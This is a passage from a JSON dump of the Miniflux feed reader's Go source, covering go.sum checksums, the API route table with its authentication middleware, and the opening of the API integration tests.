h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM=\ngithub.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ=\ngithub.com/go-jose/go-jose/v4 v4.1.3 h1:CVLmWDhDVRa6Mi/IgCgaopNosCaHz7zrMeF9MlZRkrs=\ngithub.com/go-jose/go-jose/v4 v4.1.3/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=\ngithub.com/go-viper/mapstructure/v2 v2.5.0 h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro=\ngithub.com/go-viper/mapstructure/v2 v2.5.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=\ngithub.com/go-webauthn/webauthn v0.16.1 h1:x5/SSki5/aIfogaRukqvbg/RXa3Sgxy/9vU7UfFPHKU=\ngithub.com/go-webauthn/webauthn v0.16.1/go.mod h1:RBS+rtQJMkE5VfMQ4diDA2VNrEL8OeUhp4Srz37FHbQ=\ngithub.com/go-webauthn/x v0.2.2 h1:zIiipvMbr48CXi5RG0XdBJR94kd8I5LfzHPb/q+YYmk=\ngithub.com/go-webauthn/x v0.2.2/go.mod h1:IpJ5qyWB9NRhLX3C7gIfjTU7RZLXEP6kzFkoVSE7Fz4=\ngithub.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=\ngithub.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=\ngithub.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=\ngithub.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=\ngithub.com/google/go-tpm v0.9.8 h1:slArAR9Ft+1ybZu0lBwpSmpwhRXaa85hWtMinMyRAWo=\ngithub.com/google/go-tpm v0.9.8/go.mod h1:h9jEsEECg7gtLis0upRBQU+GhYVH6jMjrFxI8u6bVUY=\ngithub.com/google/go-tpm-tools v0.3.13-0.20230620182252-4639ecce2aba h1:qJEJcuLzH5KDR0gKc0zcktin6KSAwL7+jWKBYceddTc=\ngithub.com/google/go-tpm-tools v0.3.13-0.20230620182252-4639ecce2aba/go.mod h1:EFYHy8/1y2KfgTAsx7Luu7NGhoxtuVHnNo8jE7FikKc=\ngithub.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=\ngithub.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=\ngithub.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=\ngithub.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=\ngithub.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=\ngithub.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=\ngithub.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=\ngithub.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=\ngithub.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=\ngithub.com/lib/pq v1.12.0 h1:mC1zeiNamwKBecjHarAr26c/+d8V5w/u4J0I/yASbJo=\ngithub.com/lib/pq v1.12.0/go.mod h1:/p+8NSbOcwzAEI7wiMXFlgydTwcgTr3OSKMsD2BitpA=\ngithub.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=\ngithub.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/prometheus/client_golang v1.23.2 h1:Je96obch5RDVy3FDMndoUsjAhG5Edi49h0RJWRi/o0o=\ngithub.com/prometheus/client_golang v1.23.2/go.mod h1:Tb1a6LWHB3/SPIzCoaDXI4I8UHKeFTEQ1YCr+0Gyqmg=\ngithub.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=\ngithub.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=\ngithub.com/prometheus/common v0.66.1 h1:h5E0h5/Y8niHc5DlaLlWLArTQI7tMrsfQjHV+d9ZoGs=\ngithub.com/prometheus/common v0.66.1/go.mod h1:gcaUsgf3KfRSwHY4dIMXLPV0K/Wg1oZ8+SbZk/HH/dA=\ngithub.com/prometheus/procfs v0.16.1 h1:hZ15bTNuirocR6u0JZ6BAHHmwS1p8B4P6MRqxtzMyRg=\ngithub.com/prometheus/procfs v0.16.1/go.mod h1:teAbpZRB1iIAJYREa1LsoWUXykVXA1KlTmWl8x/U+Is=\ngithub.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=\ngithub.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=\ngithub.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=\ngithub.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=\ngithub.com/tdewolff/minify/v2 v2.24.10 h1:SjOOY2Y3Uv34WY4wtyUzJA2T1Xd1v1zQVSZvPP0A/h4=\ngithub.com/tdewolff/minify/v2 v2.24.10/go.mod h1:fXkGpJ4gel+z1nmeIjVtKmxGZ4ZXd7g1gA3dfTz5/j8=\ngithub.com/tdewolff/parse/v2 v2.8.10 h1:5a8o388UmuiU3zlOBJ56PN0rxVi67LRNED/zzuHAfC0=\ngithub.com/tdewolff/parse/v2 v2.8.10/go.mod h1:Hwlni2tiVNKyzR1o6nUs4FOF07URA+JLBLd6dlIXYqo=\ngithub.com/tdewolff/test v1.0.11 h1:FdLbwQVHxqG16SlkGveC0JVyrJN62COWTRyUFzfbtBE=\ngithub.com/tdewolff/test v1.0.11/go.mod h1:XPuWBzvdUzhCuxWO1ojpXsyzsA5bFoS3tO/Q3kFuTG8=\ngithub.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=\ngithub.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=\ngithub.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU=\ngithub.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E=\ngithub.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=\ngo.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=\ngo.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=\ngo.uber.org/mock v0.6.0 h1:hyF9dfmbgIX5EfOdasqLsWD6xqpNZlXblLB/Dbnwv3Y=\ngo.uber.org/mock v0.6.0/go.mod h1:KiVJ4BqZJaMj4svdfmHM0AUx4NJYO8ZNpPnZn1Z+BBU=\ngo.yaml.in/yaml/v2 v2.4.2 h1:DzmwEr2rDGHl7lsFgAHxmNz/1NlQ7xLIrlN2h5d1eGI=\ngo.yaml.in/yaml/v2 v2.4.2/go.mod h1:081UH+NErpNdqlCXm3TtEran0rJZGxAYx9hb/ELlsPU=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=\ngolang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=\ngolang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=\ngolang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=\ngolang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=\ngolang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=\ngolang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=\ngolang.org/x/image v0.37.0 h1:ZiRjArKI8GwxZOoEtUfhrBtaCN+4b/7709dlT6SSnQA=\ngolang.org/x/image v0.37.0/go.mod h1:/3f6vaXC+6CEanU4KJxbcUZyEePbyKbaLoDOe4ehFYY=\ngolang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=\ngolang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=\ngolang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=\ngolang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=\ngolang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=\ngolang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=\ngolang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=\ngolang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=\ngolang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=\ngolang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=\ngolang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0=\ngolang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw=\ngolang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs=\ngolang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=\ngolang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=\ngolang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=\ngolang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=\ngolang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=\ngolang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=\ngolang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=\ngolang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=\ngolang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=\ngolang.org/x/term v0.41.0 h1:QCgPso/Q3RTJx2Th4bDLqML4W6iJiaXFq2/ftQF13YU=\ngolang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=\ngolang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=\ngolang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=\ngolang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=\ngolang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=\ngolang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=\ngolang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8=\ngolang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=\ngolang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=\ngolang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=\ngolang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngoogle.golang.org/protobuf v1.36.8 h1:xHScyCOEuuwZEc6UtSOvPbAT4zRh0xcNRYekJwfqyMc=\ngoogle.golang.org/protobuf v1.36.8/go.mod h1:fuxRtAxBytpl4zzqUh6/eyUujkJdNiuEkXntxiD/uRU=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=\ngopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\n"
  },
  {
    "path": "internal/api/api.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/worker\"\n)\n\ntype handler struct {\n\tstore *storage.Storage\n\tpool  *worker.Pool\n}\n\n// NewHandler returns an http.Handler that handles API v1 calls.\n// The returned handler expects the base path to be stripped from the request URL.\nfunc NewHandler(store *storage.Storage, pool *worker.Pool) http.Handler {\n\thandler := &handler{store: store, pool: pool}\n\tmiddleware := newMiddleware(store)\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"POST /v1/users\", handler.createUserHandler)\n\tmux.HandleFunc(\"GET /v1/users\", handler.usersHandler)\n\tmux.HandleFunc(\"GET /v1/users/{identifier}\", handler.dispatchUserLookupHandler)\n\tmux.HandleFunc(\"PUT /v1/users/{userID}\", handler.updateUserHandler)\n\tmux.HandleFunc(\"DELETE /v1/users/{userID}\", handler.removeUserHandler)\n\tmux.HandleFunc(\"PUT /v1/users/{userID}/mark-all-as-read\", handler.markUserAsReadHandler)\n\tmux.HandleFunc(\"GET /v1/me\", handler.currentUserHandler)\n\tmux.HandleFunc(\"POST /v1/categories\", handler.createCategoryHandler)\n\tmux.HandleFunc(\"GET /v1/categories\", handler.getCategoriesHandler)\n\tmux.HandleFunc(\"PUT /v1/categories/{categoryID}\", handler.updateCategoryHandler)\n\tmux.HandleFunc(\"DELETE /v1/categories/{categoryID}\", handler.removeCategoryHandler)\n\tmux.HandleFunc(\"PUT /v1/categories/{categoryID}/mark-all-as-read\", handler.markCategoryAsReadHandler)\n\tmux.HandleFunc(\"GET /v1/categories/{categoryID}/feeds\", handler.getCategoryFeedsHandler)\n\tmux.HandleFunc(\"PUT /v1/categories/{categoryID}/refresh\", handler.refreshCategoryHandler)\n\tmux.HandleFunc(\"GET /v1/categories/{categoryID}/entries\", handler.getCategoryEntriesHandler)\n\tmux.HandleFunc(\"GET /v1/categories/{categoryID}/entries/{entryID}\", handler.getCategoryEntryHandler)\n\tmux.HandleFunc(\"POST /v1/discover\", handler.discoverSubscriptionsHandler)\n\tmux.HandleFunc(\"POST /v1/feeds\", handler.createFeedHandler)\n\tmux.HandleFunc(\"GET /v1/feeds\", handler.getFeedsHandler)\n\tmux.HandleFunc(\"GET /v1/feeds/counters\", handler.fetchCountersHandler)\n\tmux.HandleFunc(\"PUT /v1/feeds/refresh\", handler.refreshAllFeedsHandler)\n\tmux.HandleFunc(\"PUT /v1/feeds/{feedID}/refresh\", handler.refreshFeedHandler)\n\tmux.HandleFunc(\"GET /v1/feeds/{feedID}\", handler.getFeedHandler)\n\tmux.HandleFunc(\"PUT /v1/feeds/{feedID}\", handler.updateFeedHandler)\n\tmux.HandleFunc(\"DELETE /v1/feeds/{feedID}\", handler.removeFeedHandler)\n\tmux.HandleFunc(\"GET /v1/feeds/{feedID}/icon\", handler.getIconByFeedIDHandler)\n\tmux.HandleFunc(\"PUT /v1/feeds/{feedID}/mark-all-as-read\", handler.markFeedAsReadHandler)\n\tmux.HandleFunc(\"GET /v1/export\", handler.exportFeedsHandler)\n\tmux.HandleFunc(\"POST /v1/import\", handler.importFeedsHandler)\n\tmux.HandleFunc(\"GET /v1/feeds/{feedID}/entries\", handler.getFeedEntriesHandler)\n\tmux.HandleFunc(\"POST /v1/feeds/{feedID}/entries/import\", handler.importFeedEntryHandler)\n\tmux.HandleFunc(\"GET /v1/feeds/{feedID}/entries/{entryID}\", handler.getFeedEntryHandler)\n\tmux.HandleFunc(\"GET /v1/entries\", handler.getEntriesHandler)\n\tmux.HandleFunc(\"PUT /v1/entries\", handler.setEntryStatusHandler)\n\tmux.HandleFunc(\"GET /v1/entries/{entryID}\", handler.getEntryHandler)\n\tmux.HandleFunc(\"PUT /v1/entries/{entryID}\", handler.updateEntryHandler)\n\tmux.HandleFunc(\"PUT /v1/entries/{entryID}/bookmark\", handler.toggleStarredHandler)\n\tmux.HandleFunc(\"PUT /v1/entries/{entryID}/star\", handler.toggleStarredHandler)\n\tmux.HandleFunc(\"POST /v1/entries/{entryID}/save\", handler.saveEntryHandler)\n\tmux.HandleFunc(\"GET /v1/entries/{entryID}/fetch-content\", handler.fetchContentHandler)\n\tmux.HandleFunc(\"PUT /v1/flush-history\", handler.flushHistoryHandler)\n\tmux.HandleFunc(\"DELETE /v1/flush-history\", handler.flushHistoryHandler)\n\tmux.HandleFunc(\"GET /v1/icons/{iconID}\", handler.getIconByIconIDHandler)\n\tmux.HandleFunc(\"GET /v1/enclosures/{enclosureID}\", handler.getEnclosureByIDHandler)\n\tmux.HandleFunc(\"PUT /v1/enclosures/{enclosureID}\", handler.updateEnclosureByIDHandler)\n\tmux.HandleFunc(\"GET /v1/integrations/status\", handler.getIntegrationsStatusHandler)\n\tmux.HandleFunc(\"GET /v1/version\", handler.versionHandler)\n\tmux.HandleFunc(\"POST /v1/api-keys\", handler.createAPIKeyHandler)\n\tmux.HandleFunc(\"GET /v1/api-keys\", handler.getAPIKeysHandler)\n\tmux.HandleFunc(\"DELETE /v1/api-keys/{apiKeyID}\", handler.deleteAPIKeyHandler)\n\n\treturn middleware.withCORSHeaders(middleware.validateAPIKeyAuth(middleware.validateBasicAuth(mux)))\n}\n"
  },
  {
    "path": "internal/api/api_integration_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand/v2\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\tminiflux \"miniflux.app/v2/client\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nconst skipIntegrationTestsMessage = `Set TEST_MINIFLUX_* environment variables to run the API integration tests`\n\ntype integrationTestConfig struct {\n\ttestBaseURL           string\n\ttestAdminUsername     string\n\ttestAdminPassword     string\n\ttestRegularUsername   string\n\ttestRegularPassword   string\n\ttestFeedURL           string\n\ttestFeedTitle         string\n\ttestSubscriptionTitle string\n\ttestWebsiteURL        string\n}\n\nfunc newIntegrationTestConfig() *integrationTestConfig {\n\tgetDefaultEnvValues := func(key, defaultValue string) string {\n\t\tvalue := os.Getenv(key)\n\t\tif value == \"\" {\n\t\t\treturn defaultValue\n\t\t}\n\t\treturn value\n\t}\n\n\treturn &integrationTestConfig{\n\t\ttestBaseURL:           getDefaultEnvValues(\"TEST_MINIFLUX_BASE_URL\", \"\"),\n\t\ttestAdminUsername:     getDefaultEnvValues(\"TEST_MINIFLUX_ADMIN_USERNAME\", \"\"),\n\t\ttestAdminPassword:     getDefaultEnvValues(\"TEST_MINIFLUX_ADMIN_PASSWORD\", \"\"),\n\t\ttestRegularUsername:   getDefaultEnvValues(\"TEST_MINIFLUX_REGULAR_USERNAME_PREFIX\", \"regular_test_user\"),\n\t\ttestRegularPassword:   getDefaultEnvValues(\"TEST_MINIFLUX_REGULAR_PASSWORD\", \"regular_test_user_password\"),\n\t\ttestFeedURL:           getDefaultEnvValues(\"TEST_MINIFLUX_FEED_URL\", \"https://miniflux.app/feed.xml\"),\n\t\ttestFeedTitle:         getDefaultEnvValues(\"TEST_MINIFLUX_FEED_TITLE\", \"Miniflux\"),\n\t\ttestSubscriptionTitle: getDefaultEnvValues(\"TEST_MINIFLUX_SUBSCRIPTION_TITLE\", \"Miniflux Releases\"),\n\t\ttestWebsiteURL:        getDefaultEnvValues(\"TEST_MINIFLUX_WEBSITE_URL\", \"https://miniflux.app/\"),\n\t}\n}\n\nfunc (c *integrationTestConfig) isConfigured() bool {\n\treturn c.testBaseURL != \"\" && c.testAdminUsername != \"\" && c.testAdminPassword != \"\" && c.testFeedURL != \"\" && c.testFeedTitle != \"\" && c.testSubscriptionTitle != \"\" && c.testWebsiteURL != \"\"\n}\n\nfunc (c *integrationTestConfig) genRandomUsername() string {\n\treturn fmt.Sprintf(\"%s_%10d\", c.testRegularUsername, rand.Int())\n}\n\nfunc TestIncorrectEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := 